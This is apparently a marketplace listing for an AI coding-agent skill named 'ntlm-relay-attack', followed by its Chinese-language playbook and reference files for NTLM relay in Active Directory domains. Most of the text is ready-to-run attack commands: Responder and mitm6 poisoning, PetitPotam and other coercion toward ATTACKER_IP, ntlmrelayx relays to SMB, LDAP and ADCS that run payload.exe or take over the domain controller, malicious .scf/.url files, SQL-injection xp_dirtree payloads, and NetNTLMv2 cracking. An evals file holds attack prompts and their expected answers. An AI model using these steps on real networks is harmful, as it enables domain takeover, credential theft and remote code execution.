
Ntlm Relay Attack
- 24 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
ntlm-relay-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- ntlm-relay-attack
- AI & Agent Building
- AI-coding skill
Ntlm Relay Attack by the numbers
- 24 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,876 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill ntlm-relay-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 24 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
NTLM 中继攻击方法论
NTLM Relay 是域渗透最强大的横向移动技术之一——不需要破解密码,直接将认证请求转发到其他服务器获取访问权限。
⛔ 深入参考(必读)
- 中继攻击详细配置和各种中继目标 → references/relay-techniques.md
- 强制认证方法(PetitPotam/PrinterBug/DFSCoerce/文件投毒等) → references/coercion-methods.md
- Responder 配置与投毒机制(LLMNR/WPAD/mitm6) → references/responder-config.md
- SOCKS 代理横向移动(ntlmrelayx SOCKS + proxychains) → references/socks-pivoting.md
---
核心概念
NTLM Relay 三要素: 1. 触发器(Trigger):让目标机器/用户向攻击者发起 NTLM 认证 2. 中继器(Relay):将收到的认证请求转发到目标服务 3. 目标(Target):接受中继认证的服务器
前提条件:目标服务没有启用 SMB 签名(SMB Signing)或 EPA(Extended Protection for Authentication)。
Phase 1: 环境侦察
1.1 检查 SMB 签名
# SMB 签名未强制 = 可中继
netexec smb 10.0.0.0/24 --gen-relay-list relay_targets.txt
# 输出没有 signing:True 的主机
# 或用 nmap
nmap -p 445 --script smb2-security-mode 10.0.0.0/24
# "Message signing enabled but not required" = 可中继1.2 检查 ADCS Web Enrollment
# ADCS HTTP 端点通常无 EPA → 可中继
netexec ldap DC_IP -u USER -p PASS -M adcs
# 列出 CA 服务器和模板
# 或直接访问
curl -sk https://CA_SERVER/certsrv/Phase 2: 攻击决策树
有什么条件?
├─ 在内网且有网络接口 → Responder 毒化(被动收集 Hash / 主动中继)
├─ 有域凭据 → 强制认证(PetitPotam/PrinterBug)→ 中继
├─ 目标有 ADCS Web Enrollment → 中继到 ADCS 获取证书 → 域控
├─ 目标关闭 SMB 签名 → 中继到 SMB/LDAP
│ ├─ 中继到 LDAP → RBCD / Shadow Credentials
│ └─ 中继到 SMB → 命令执行
└─ 拿到 NetNTLM Hash 但无法中继 → hashcat 离线破解
详细命令 → [references/relay-techniques.md](references/relay-techniques.md)Phase 3: Responder 毒化
# 启动 Responder(关闭 SMB/HTTP 以便 ntlmrelayx 接管)
responder -I eth0 -dwPv
# 或只抓 Hash 不中继
responder -I eth0 -dwPv
# 抓到的 NetNTLMv2 Hash → hashcat -m 5600 破解Phase 4: 强制认证(Coercion)
# PetitPotam(最常用,利用 EfsRpcOpenFileRaw)
python3 PetitPotam.py ATTACKER_IP DC_IP
python3 PetitPotam.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP
# PrinterBug(MS-RPRN)
python3 dementor.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP
# 或
python3 printerbug.py DOMAIN/USER:PASS@DC_IP ATTACKER_IP
# DFSCoerce
python3 dfscoerce.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IPPhase 5: 中继到不同目标
中继到 ADCS(获取域控证书 → 域管)
# 最强路径:PetitPotam + ADCS = 域控
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# 触发认证
python3 PetitPotam.py ATTACKER_IP DC_IP
# 获得证书后 → 申请 TGT
certipy auth -pfx dc.pfx -dc-ip DC_IP
# 得到域控 NTLM Hash → DCSync中继到 LDAP(RBCD / Shadow Credentials)
# Shadow Credentials(推荐,不需要创建计算机账户)
ntlmrelayx.py -t ldaps://DC_IP --shadow-credentials --shadow-target DC_HOSTNAME$
# RBCD
ntlmrelayx.py -t ldaps://DC_IP --delegate-access --escalate-user MACHINE$中继到 SMB
ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami"
ntlmrelayx.py -tf relay_targets.txt -smb2support -e payload.exe→ 完整中继技术细节 → references/relay-techniques.md
工具速查
| 工具 | 用途 |
|---|---|
| Responder | LLMNR/NBT-NS/mDNS 毒化 |
| ntlmrelayx.py | NTLM 中继核心 |
| PetitPotam | EFS 强制认证 |
| printerbug.py | 打印机强制认证 |
| certipy | ADCS 证书攻击 |
| hashcat -m 5600 | NetNTLMv2 破解 |
{
"skill_name": "ntlm-relay-attack",
"evals": [
{
"id": 1,
"prompt": "域环境中,netexec 扫描显示多台机器 SMB signing 未强制,我有一个普通域用户凭据,怎么利用 NTLM Relay?",
"expected_output": "启动 Responder + ntlmrelayx 到目标列表,或用 PetitPotam 强制认证后中继到 LDAP/SMB"
},
{
"id": 2,
"prompt": "发现域内有 ADCS Web Enrollment (certsrv),怎么通过中继拿下域控?",
"expected_output": "ESC8: ntlmrelayx 中继到 ADCS + PetitPotam 触发域控认证 → 获取域控证书 → DCSync"
},
{
"id": 3,
"prompt": "用 Responder 抓到了 NetNTLMv2 Hash 但 hashcat 跑不出来,还有什么办法?",
"expected_output": "改为中继而非破解,配置 Responder 关闭 SMB/HTTP 配合 ntlmrelayx 转发到其他目标"
}
]
}
强制认证方法详解
强制认证(Authentication Coercion)是 NTLM Relay 攻击链的触发器——迫使目标机器向攻击者发起 NTLM 认证,无需用户交互。
---
1. PetitPotam (MS-EFSR)
原理
利用加密文件系统远程协议(Encrypting File System Remote Protocol)中的 EfsRpcOpenFileRaw 等函数,迫使目标机器向指定 UNC 路径发起 NTLM 认证。
无凭据模式
未修补环境(KB5005413 之前)可匿名触发:
# 无需凭据
python3 PetitPotam.py ATTACKER_IP TARGET_IP有凭据模式
修补后仍可使用有效域凭据触发:
python3 PetitPotam.py -u 'USER' -p 'PASS' -d DOMAIN ATTACKER_IP TARGET_IP验证是否可利用
netexec smb TARGET_IP -u USER -p PASS -M petitpotam典型组合
- PetitPotam + ADCS ESC8 = 域控证书 → DCSync
- PetitPotam + LDAP Relay = RBCD / Shadow Credentials
---
2. PrinterBug / SpoolSample (MS-RPRN)
原理
利用 Print Spooler 服务的 RpcRemoteFindFirstPrinterChangeNotificationEx 函数,强制目标机器向攻击者发起认证回调。需要目标运行 Print Spooler 服务。
前置检查
# 检查 Spooler 服务是否启用
rpcdump.py DOMAIN/USER:PASS@TARGET_IP | grep MS-RPRN触发
# printerbug.py (Linux)
python3 printerbug.py DOMAIN/USER:PASS@TARGET_IP ATTACKER_IP
# dementor.py (替代工具)
python3 dementor.py -u USER -p PASS -d DOMAIN ATTACKER_IP TARGET_IP
# SpoolSample.exe (Windows)
SpoolSample.exe TARGET_IP ATTACKER_IP注意事项
- 必须有有效域凭据
- 目标必须运行 Print Spooler 服务(DC 默认开启)
- 微软不认为这是漏洞(by design)
---
3. DFSCoerce (MS-DFSNM)
原理
利用分布式文件系统命名空间管理协议(MS-DFSNM)中的 NetrDfsRemoveStdRoot 等函数触发认证。
用法
python3 dfscoerce.py -u 'USER' -p 'PASS' -d DOMAIN ATTACKER_IP TARGET_IP要求
- 有效域凭据
- 目标运行 DFS 服务
---
4. ShadowCoerce (MS-FSRVP)
原理
利用文件服务器 VSS 代理服务(File Server VSS Agent Service)的 IsPathSupported / IsPathShadowCopied 函数触发认证。
用法
python3 shadowcoerce.py -u 'USER' -p 'PASS' -d DOMAIN ATTACKER_IP TARGET_IP要求
- 有效域凭据
- 目标运行 File Server VSS Agent Service(文件服务器角色)
---
5. WebDAV 强制认证
原理
通过 WebDAV (WebClient 服务) 触发 HTTP 认证请求。由于 HTTP 无签名要求,可直接中继到 LDAP/ADCS 等目标,绕过 SMB 签名限制。
WebClient 服务检测
# 远程检查 WebClient 是否运行
netexec smb TARGET_IP -u USER -p PASS -M webdav
# 通过 RPC 检测
rpcdump.py DOMAIN/USER:PASS@TARGET_IP | grep -i webclientHTTP 认证降级
当通过 WebDAV 路径(\\host@80\share)触发时,认证通过 HTTP 发送而非 SMB,天然没有签名保护:
# 在目标机器上触发 WebDAV 认证(需要目标上的代码执行能力)
dir \\ATTACKER_IP@80\share
# 或通过 net use
net use \\ATTACKER_IP@80\share
# 攻击机上中继到 ADCS
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp --adcs --template DomainController启动 WebClient 服务
如果 WebClient 未运行,可通过搜索连接器技巧启动:
# 在目标上创建搜索连接器文件 (.searchConnector-ms) 触发 WebClient 启动---
6. Coercer 统一工具
Coercer 整合了所有已知强制认证方法,自动尝试多个 RPC 协议。
扫描可用方法
coercer scan -t TARGET_IP -u USER -p PASS -d DOMAIN自动尝试所有协议
coercer coerce -t TARGET_IP -l ATTACKER_IP -u USER -p PASS -d DOMAIN指定特定方法
# 仅使用 MS-EFSR
coercer coerce -t TARGET_IP -l ATTACKER_IP -u USER -p PASS -d DOMAIN \
--filter-method-name "MS-EFSR"
# 仅使用 MS-DFSNM
coercer coerce -t TARGET_IP -l ATTACKER_IP -u USER -p PASS -d DOMAIN \
--filter-method-name DfsCoerce支持的协议
| 协议 | 对应工具 | 接口 |
|---|---|---|
| MS-EFSR | PetitPotam | lsarpc / efsrpc |
| MS-RPRN | PrinterBug | spoolss |
| MS-DFSNM | DFSCoerce | netdfs |
| MS-FSRVP | ShadowCoerce | FssagentRpc |
---
7. 文件投毒触发认证
在可写共享目录投放恶意文件,当用户浏览该目录时自动触发 NTLM 认证。
.lnk 文件投毒 (Slinky)
# 批量投放到所有可写共享
netexec smb TARGET -u 'USER' -p 'PASS' -d 'DOMAIN' \
-M slinky -o NAME=.thumbs.db SERVER=ATTACKER_IP
# 清理
netexec smb TARGET -u 'USER' -p 'PASS' -d 'DOMAIN' \
-M slinky -o NAME=.thumbs.db SERVER=ATTACKER_IP CLEANUP=true.scf 文件投毒 (Scuffy)
netexec smb TARGET -u 'USER' -p 'PASS' -d 'DOMAIN' \
-M scuffy -o NAME=.thumbs.scf SERVER=ATTACKER_IP.url / desktop.ini 手工构造
# malicious.url
[InternetShortcut]
URL=file://ATTACKER_IP/share
IconIndex=0
IconFile=\\ATTACKER_IP\share\icon.ico# desktop.ini(放到共享目录)
[.ShellClassInfo]
IconResource=\\ATTACKER_IP\share\icon.ico,0特点
- 被动触发,用户浏览目录即中招
- 不需要用户打开文件
- 适合长期潜伏场景
---
各方法对比表
| 方法 | 需要凭据 | 匿名可用 | 依赖服务 | 补丁状态 | 可靠性 |
|---|---|---|---|---|---|
| PetitPotam (无凭据) | 否 | 是 | EFS | 已修补 (KB5005413) | 低(多数已修补) |
| PetitPotam (有凭据) | 是 | 否 | EFS | 部分修补 | 高 |
| PrinterBug | 是 | 否 | Print Spooler | 未修补 | 高(DC 默认开启) |
| DFSCoerce | 是 | 否 | DFS Namespace | 未修补 | 中 |
| ShadowCoerce | 是 | 否 | VSS Agent | 未修补 | 中(需文件服务器) |
| WebDAV 强制 | 视情况 | 否 | WebClient | N/A | 中(需服务运行) |
| Coercer (全协议) | 是 | 否 | 多种 | N/A | 高(自动枚举) |
| 文件投毒 (.lnk/.scf) | 是 | 否 | 可写共享 | N/A | 中(依赖用户浏览) |
---
检测指标
| 方法 | Event ID | 检测点 |
|---|---|---|
| PetitPotam | 4624 | 来自非预期源的网络登录 |
| PrinterBug | 4624 | Print Spooler 发起的登录 |
| 文件投毒 | 5145 | 共享目录中新增可疑文件 |
| 所有方法 | 5145 | 向攻击者 IP 的共享访问 |
NTLM 中继攻击技术详解
1. Responder 完整配置
1.1 仅抓 Hash(被动模式)
# 默认模式:抓取所有 NetNTLM Hash
responder -I eth0 -dwPv
# 日志位置
ls /usr/share/responder/logs/
# 格式: SMB-NTLMv2-SSP-IP.txt
# 破解 NetNTLMv2
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
# 或 john
john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt1.2 配合 ntlmrelayx(中继模式)
# 1. 修改 Responder 配置,关闭 SMB 和 HTTP(让 ntlmrelayx 接管这些端口)
vi /usr/share/responder/Responder.conf
# SMB = Off
# HTTP = Off
# 2. 启动 Responder
responder -I eth0 -dwPv
# 3. 另一个终端启动 ntlmrelayx
ntlmrelayx.py -tf relay_targets.txt -smb2support
# 当有认证请求到达时,ntlmrelayx 自动中继2. ntlmrelayx 各种中继目标
2.1 中继到 SMB(命令执行)
# 执行命令
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami > C:\\Windows\\Temp\\out.txt"
# 执行 payload
ntlmrelayx.py -tf targets.txt -smb2support -e /path/to/payload.exe
# dump SAM(获取本地哈希)
ntlmrelayx.py -tf targets.txt -smb2support
# 交互式 shell
ntlmrelayx.py -tf targets.txt -smb2support -i
# 然后 nc 127.0.0.1 110002.2 中继到 LDAP/LDAPS
# Shadow Credentials(最推荐,无需额外条件)
ntlmrelayx.py -t ldaps://DC_IP --shadow-credentials --shadow-target TARGET$
# 中继成功后得到证书和密钥
# 使用证书获取 TGT
python3 gettgtpkinit.py -cert-pfx TARGET.pfx -pfx-pass PASSWORD DOMAIN/TARGET$ TARGET.ccache
export KRB5CCNAME=TARGET.ccache
# RBCD(基于资源的约束委派)
ntlmrelayx.py -t ldaps://DC_IP --delegate-access --escalate-user YOURCOMPUTER$
# 中继成功后,YOURCOMPUTER$ 可以模拟任意用户访问 TARGET
# 获取服务票据
impacket-getST -spn cifs/TARGET -impersonate administrator DOMAIN/YOURCOMPUTER$:PASSWORD
export KRB5CCNAME=administrator.ccache
impacket-smbexec -k -no-pass TARGET2.3 中继到 ADCS(获取证书)
这是最强大的中继路径——可以直接拿下域控。
# 中继到 ADCS Web Enrollment
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# 或指定模板
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template Machine
# 触发域控认证
python3 PetitPotam.py ATTACKER_IP DC_IP
# ntlmrelayx 输出 Base64 证书
# 保存为 .pfx 文件
echo "BASE64_CERT" | base64 -d > dc.pfx
# 用证书认证获取 TGT
certipy auth -pfx dc.pfx -dc-ip DC_IP
# 输出: DC_HOSTNAME$ NTLM Hash: aad3b435...
# 用域控机器账户 Hash 做 DCSync
impacket-secretsdump -hashes :NTLM_HASH DOMAIN/DC_HOSTNAME$@DC_IP2.4 中继到 MSSQL
ntlmrelayx.py -t mssql://SQL_SERVER -smb2support -q "EXEC xp_cmdshell 'whoami'"2.5 中继到 IMAP/SMTP(Exchange)
ntlmrelayx.py -t https://EXCHANGE/EWS/Exchange.asmx -smb2support3. 强制认证技术
3.1 PetitPotam(MS-EFSR)
# 无需凭据版本(未修补时)
python3 PetitPotam.py ATTACKER_IP TARGET_IP
# 需要凭据版本(修补后仍可用)
python3 PetitPotam.py -u USER -p PASS -d DOMAIN ATTACKER_IP TARGET_IP
# 检查是否可利用
netexec smb TARGET_IP -u USER -p PASS -M petitpotam3.2 PrinterBug(MS-RPRN)
# 需要域凭据
# 检查 Spooler 服务
rpcdump.py DOMAIN/USER:PASS@TARGET_IP | grep MS-RPRN
# 触发
python3 dementor.py -u USER -p PASS -d DOMAIN ATTACKER_IP TARGET_IP
# 或
python3 printerbug.py DOMAIN/USER:PASS@TARGET_IP ATTACKER_IP3.3 DFSCoerce(MS-DFSNM)
python3 dfscoerce.py -u USER -p PASS -d DOMAIN ATTACKER_IP TARGET_IP3.4 ShadowCoerce(MS-FSRVP)
python3 shadowcoerce.py -u USER -p PASS -d DOMAIN ATTACKER_IP TARGET_IP3.5 其他触发方式
-- MSSQL 触发
EXEC xp_dirtree '\\ATTACKER_IP\share';
-- 通过 SQL 注入触发
'; EXEC xp_dirtree '\\ATTACKER_IP\share'; --
-- 通过文件包含 (SCF/URL/LNK)
-- 创建 .scf 文件放到共享目录
[Shell]
Command=2
IconFile=\\ATTACKER_IP\share\icon.ico4. Relay to LDAP 深入:RBCD 与 Shadow Credentials
4.1 RBCD(基于资源的约束委派)通过中继配置
RBCD 攻击通过修改目标机器的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,授权攻击者控制的机器账户模拟任意用户。
# 中继到 LDAP 自动配置 RBCD
ntlmrelayx.py -t ldap://DC_IP --delegate-access
# 中继到 LDAPS(LDAP 签名启用但通道绑定未启用时)
ntlmrelayx.py -t ldaps://DC_IP --delegate-access
# 指定已有的机器账户
ntlmrelayx.py -t ldaps://DC_IP --delegate-access --escalate-user YOURCOMPUTER$中继成功后的输出:
[*] Attempting to create computer in: CN=Computers,DC=domain,DC=local
[*] Adding new computer with username: YOURCOMPUTER$ and password: RANDOM_PASS
[*] Delegation rights modified successfully!
[*] YOURCOMPUTER$ can now impersonate users on TARGET$后续利用(S4U 攻击):
# 获取模拟 Administrator 的服务票据
impacket-getST -spn cifs/TARGET.domain.local \
-impersonate Administrator DOMAIN/'YOURCOMPUTER$':'RANDOM_PASS'
# 使用票据
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k -no-pass TARGET.domain.local
impacket-smbexec -k -no-pass TARGET.domain.local4.2 Shadow Credentials 通过中继配置
Shadow Credentials 通过向目标的 msDS-KeyCredentialLink 属性写入攻击者生成的密钥对,实现无密码认证。不需要创建额外机器账户。
# 通过 ntlmrelayx 自动添加 Shadow Credential
ntlmrelayx.py -t ldaps://DC_IP --shadow-credentials --shadow-target TARGET$中继成功后的输出:
[*] Shadow Credentials attack successful
[*] Certificate: TARGET.pfx (password: RANDOM_PASS)后续利用(PKINIT 认证):
# 使用 pywhisker 生成的证书获取 TGT
python3 gettgtpkinit.py -cert-pfx TARGET.pfx -pfx-pass RANDOM_PASS \
DOMAIN/TARGET$ TARGET.ccache
export KRB5CCNAME=TARGET.ccache
# 获取 NT Hash(用于 Pass-the-Hash)
python3 getnthash.py -key AS_REP_KEY DOMAIN/TARGET$
# 或直接使用 certipy
certipy auth -pfx TARGET.pfx -dc-ip DC_IP4.3 RBCD vs Shadow Credentials 对比
| 特性 | RBCD | Shadow Credentials |
|---|---|---|
| 需要创建机器账户 | 是(默认)/ 可用已有 | 否 |
| 目标属性 | msDS-AllowedToActOnBehalfOfOtherIdentity | msDS-KeyCredentialLink |
| AD 功能级别要求 | 2012+ | 2016+(需 ADCS 或 Windows Hello) |
| 检测难度 | 中 | 高 |
| 清理难度 | 需删除委派配置 | 需删除 KeyCredential |
---
5. Relay to ADCS 深入:ESC8 证书请求
5.1 攻击原理
ADCS Web Enrollment (certsrv) 默认通过 HTTP 提供,不启用 EPA(Extended Protection for Authentication),可直接中继 NTLM 认证来申请证书。
5.2 中继到 ADCS 获取域控证书
# 使用 DomainController 模板(中继 DC 机器账户认证)
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# 使用 Machine 模板(中继普通机器账户认证)
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template Machine
# 使用 User 模板(中继用户认证)
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template User5.3 完整 ESC8 攻击链
# 步骤 1:启动中继
ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# 步骤 2:强制 DC 认证到攻击者
python3 PetitPotam.py -u USER -p PASS -d DOMAIN ATTACKER_IP DC_IP
# 步骤 3:ntlmrelayx 输出 Base64 编码证书
# [*] Certificate successfully obtained!
# [*] Saved certificate to DC01$.pfx
# 步骤 4:使用证书认证获取 TGT + NT Hash
certipy auth -pfx DC01$.pfx -dc-ip DC_IP
# 输出: DC01$ :: NTLM Hash: aad3b435...
# 步骤 5:使用 DC 机器账户 Hash 执行 DCSync
impacket-secretsdump -hashes :NTLM_HASH DOMAIN/DC01$@DC_IP5.4 注意事项
- CA 服务器和 DC 是同一台机器时,不能将 DC 认证中继回自身
- 需要确认目标模板允许 enrollment
- certipy 也可以直接检测 ESC8:
certipy find -u USER -p PASS -dc-ip DC_IP -vulnerable
---
6. Relay 目标选择矩阵
6.1 各协议中继条件
| 中继目标 | 端口 | 需要条件 | 默认可中继 | 说明 |
|---|---|---|---|---|
| SMB | 445 | SMB 签名未强制 | 成员服务器/工作站可 | DC 默认强制签名 |
| LDAP | 389 | LDAP 签名未强制 | 旧版 DC 可 | 2019+ 默认强制 |
| LDAPS | 636 | 通道绑定未启用 | 多数可 | 比 LDAP 更常可中继 |
| HTTP (ADCS) | 80/443 | 无 EPA | 默认可 | Web Enrollment 默认无保护 |
| MSSQL | 1433 | 无额外保护 | 默认可 | 可执行查询/xp_cmdshell |
| IMAP/SMTP | 993/587 | 无额外保护 | Exchange 可 | 邮件访问 |
6.2 签名与通道绑定检查
# SMB 签名检查
netexec smb 10.0.0.0/24 --gen-relay-list targets_nosigning.txt
# LDAP 签名 + 通道绑定检查
netexec ldap DC_IP -u USER -p PASS -M ldap-checker
# [+] LDAP Signing NOT Enforced!
# [+] Channel Binding NOT Enforced!
# ADCS Web Enrollment 检查
curl -sk https://CA_SERVER/certsrv/
# HTTP 200 = 可访问 = 可能可中继6.3 协议间中继规则
| 源协议 | 可中继到 | 不可中继到 | 原因 |
|---|---|---|---|
| SMB | SMB, LDAP, HTTP, MSSQL | LDAPS (有时) | 通道绑定可能阻止 |
| HTTP | LDAP, LDAPS, SMB, ADCS | - | HTTP 无签名,最灵活 |
| WebDAV (HTTP) | LDAP, LDAPS, ADCS | - | 绕过 SMB 签名的关键路径 |
6.4 决策快速参考
想拿域控?
├─ 有 ADCS Web Enrollment → Relay to ADCS (ESC8) → 证书 → DCSync
├─ LDAP 签名未强制 → Relay to LDAP → Shadow Credentials / RBCD
└─ 都不行 → Relay to SMB 成员服务器 → 横向收集凭据
触发源是 SMB 还是 HTTP?
├─ SMB 触发 → 可中继到 SMB/LDAP/HTTP(不能到签名强制的目标)
└─ HTTP 触发(WebDAV)→ 可中继到 LDAP/LDAPS/ADCS(绕过 SMB 签名)---
7. 防御检查
# SMB 签名检查
netexec smb 10.0.0.0/24 --gen-relay-list targets_nosigning.txt
# LDAP 签名检查
netexec ldap DC_IP -u USER -p PASS -M ldap-checker
# EPA 检查
# ADCS Web Enrollment 默认无 EPA → 可中继8. 常见问题排查
| 问题 | 原因 | 解决 |
|---|---|---|
| Relay 失败 "SMB Signing required" | 目标强制 SMB 签名 | 换目标/中继到 LDAP |
| Relay 到 LDAP 失败 | LDAP 签名/通道绑定 | 用 LDAPS (636) |
| PetitPotam 无响应 | 已修补 | 尝试 PrinterBug/DFSCoerce |
| ntlmrelayx "Connection refused" | 端口被占 | 关闭 Responder 的 SMB/HTTP |
9. Kerberos 中继 — krbrelayx
当目标强制 Kerberos 认证(SMB 签名开启、NTLM 被禁用)时,krbrelayx 可中继 Kerberos AP-REQ 请求。
9.1 攻击原理
krbrelayx 利用已知机器账户密钥解密收到的 Kerberos 服务票据(AP-REQ),提取其中的 PAC(特权属性证书),然后用提取的信息模拟用户访问目标服务。
9.2 前置条件
- 控制一个机器账户(已知 Hash 或密码)
- 能向 DNS 添加记录(指向攻击者 IP)
- 能触发目标向攻击者机器发起认证
9.3 完整攻击流程
# 步骤 1:添加 DNS A 记录指向攻击机
python3 dnstool.py -u DOMAIN\\USER -p PASS \
-a add -r attacker.DOMAIN -d ATTACKER_IP DC_IP
# 步骤 2:启动 krbrelayx 监听
# 使用机器账户 Hash 解密收到的 Kerberos 票据
python3 krbrelayx.py -hashes :MACHINE_HASH \
--krbsalt DOMAIN.LOCALmachineaccount$ -krbpass MACHINE_PASS
# 步骤 3:触发认证(使用 WebDAV 路径确保 HTTP 认证)
python3 PetitPotam.py -d DOMAIN -u USER -p PASS \
attacker.DOMAIN@80/test DC_IP
# 步骤 4:krbrelayx 获取 ST(Service Ticket)
# 解密后可提取 NTLM Hash 或导出 ccache9.4 适用场景
| 场景 | 说明 |
|---|---|
| NTLM 被禁用 | GPO 强制仅 Kerberos 认证 |
| SMB 签名强制 | 所有主机都启用 SMB 签名 |
| EPA 启用 | LDAP/HTTP 启用通道绑定 |
| 配合 Shadow Credentials | 获取机器账户 TGT 后的进一步利用 |
9.5 与 NTLM Relay 的区别
| 特性 | NTLM Relay | Kerberos Relay (krbrelayx) |
|---|---|---|
| 需要凭据 | 不需要 | 需要机器账户密钥 |
| 签名绕过 | 不能绕过签名 | 可绕过 SMB 签名 |
| DNS 要求 | 不需要 | 需要添加 DNS 记录 |
| 复杂度 | 低 | 高 |
| 适用范围 | 多数场景 | NTLM 被禁用时的替代方案 |
Responder 配置与投毒机制
Responder 利用 Windows 名称解析回退机制,在 DNS 查询失败时应答广播请求,将认证重定向到攻击者。
---
1. 名称解析链
Windows 按以下顺序解析主机名:
1. 本地 hosts 文件
2. 本地 DNS 缓存
3. DNS 服务器查询
4. LLMNR 广播 (UDP 5355) ← Responder 在此拦截
5. NBT-NS 广播 (UDP 137) ← Responder 在此拦截
6. mDNS 广播 (UDP 5353) ← Responder 在此拦截当用户输入错误的主机名(如 \\fileservre 而不是 \\fileserver)或 DNS 查询失败时,系统会回退到广播协议,Responder 抢先应答,将认证引导到攻击者。
各协议说明
| 协议 | 端口 | 作用域 | 说明 |
|---|---|---|---|
| LLMNR | UDP 5355 | 本地链路 | Link-Local Multicast Name Resolution,IPv4/IPv6 |
| NBT-NS | UDP 137 | 本地子网 | NetBIOS Name Service,仅 IPv4 |
| mDNS | UDP 5353 | 本地链路 | Multicast DNS,Apple/Linux 环境多见 |
---
2. 捕获模式 vs 中继模式
捕获模式(默认)
所有服务开启,直接捕获 NetNTLMv2 Hash 用于离线破解:
# 完整捕获模式
sudo responder -I eth0 -dwPv参数说明:
| 参数 | 作用 |
|---|---|
-I | 指定监听网络接口 |
-d | 启用 DHCP 投毒 |
-w | 启用 WPAD 代理 |
-P | 强制 NTLM 认证代理请求 |
-v | 详细输出 |
日志位置:
ls /usr/share/responder/logs/
# 格式: SMB-NTLMv2-SSP-<IP>.txt中继模式(配合 ntlmrelayx)
关闭 SMB 和 HTTP 服务器,将这些端口让给 ntlmrelayx 监听:
编辑 /etc/responder/Responder.conf:
[Responder Core]
SQL = On
SMB = Off # 关键:关闭以避免端口冲突
Kerberos = On
FTP = On
HTTP = Off # 关键:关闭以避免端口冲突
HTTPS = On
DNS = On
LDAP = On启动顺序:
# 终端 1:启动 Responder(仅投毒,不捕获 SMB/HTTP)
sudo responder -I eth0 -dw -v
# 终端 2:启动 ntlmrelayx 接管 SMB/HTTP 端口
ntlmrelayx.py -tf relay_targets.txt -smb2support---
3. WPAD 代理攻击
Web Proxy Auto-Discovery(WPAD)允许浏览器自动发现代理配置。Responder 可冒充 WPAD 服务器捕获认证。
攻击流程
1. 客户端广播查询 "wpad" 主机名
2. Responder 应答称自己是 WPAD 服务器
3. 客户端请求 wpad.dat 代理配置
4. Responder 返回指向自身的代理配置
5. 客户端所有 HTTP 流量经过 Responder 代理
6. Responder 对代理请求要求 NTLM 认证 → 捕获 Hash启用 WPAD
sudo responder -I eth0 -wP-w:启动 WPAD 代理服务器-P:对代理请求强制 NTLM 认证
---
4. Hash 捕获与破解
捕获格式
username::DOMAIN:challenge:response:blob示例:
jsmith::CORP:01f4015df25f87e4:3BF36B5251AC8C43032472F019768D74:0101000000000000...Hash 类型与破解
| 类型 | Hashcat 模式 | 破解难度 |
|---|---|---|
| NetNTLMv1 | 5500 | 较快 |
| NetNTLMv2 | 5600 | 较慢 |
# NetNTLMv2 破解
hashcat -m 5600 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -O
# 查看已破解结果
hashcat -m 5600 hashes.txt --show
# john 替代
john --format=netntlmv2 hashes.txt --wordlist=/usr/share/wordlists/rockyou.txtResponder 数据库
# 捕获的 Hash 存储在 SQLite 数据库
/opt/tools/Responder/Responder.db
# 或
/usr/share/responder/Responder.db
# 清除数据库避免跳过重复 Hash
rm /opt/tools/Responder/Responder.db---
5. 配置文件关键修改
配置文件路径:/etc/responder/Responder.conf
中继场景必改项
[Responder Core]
SMB = Off # 让 ntlmrelayx 监听 445
HTTP = Off # 让 ntlmrelayx 监听 80其他可调选项
[Responder Core]
; 数据库路径
Database = /opt/tools/Responder/Responder.db
; Challenge 固定值(方便破解,但降低隐蔽性)
Challenge = Random
; 关闭不需要的服务减少噪声
FTP = Off
LDAP = Off---
6. mitm6 IPv6 DNS 投毒
Windows 默认启用 IPv6 并优先使用。mitm6 通过 DHCPv6 投毒劫持 DNS 解析,配合 WPAD 或 ntlmrelayx 实现认证捕获。
原理
1. mitm6 发送 DHCPv6 响应,为目标分配 IPv6 地址
2. 设置攻击者为 DNS 服务器
3. 所有 DNS 查询发到攻击者 → 可解析为攻击者 IP
4. 配合 WPAD:客户端查询 wpad.domain → 指向攻击者
5. 触发 NTLM 认证基本用法
# 启动 IPv6 DNS 投毒
mitm6 -d DOMAIN -i eth0配合 ntlmrelayx
# 终端 1:mitm6 投毒
mitm6 -d DOMAIN -i eth0
# 终端 2:中继到 LDAPS + RBCD
impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh attacker.DOMAIN \
--delegate-access --add-computer
# 终端 2(替代):中继到 LDAPS + loot 收集
impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh attacker.DOMAIN -l lootmitm6 + HSTS 绕过
mitm6 -d DOMAIN -i eth0 --hsts注意事项
- mitm6 可能影响网络稳定性(DHCPv6 投毒影响其他主机)
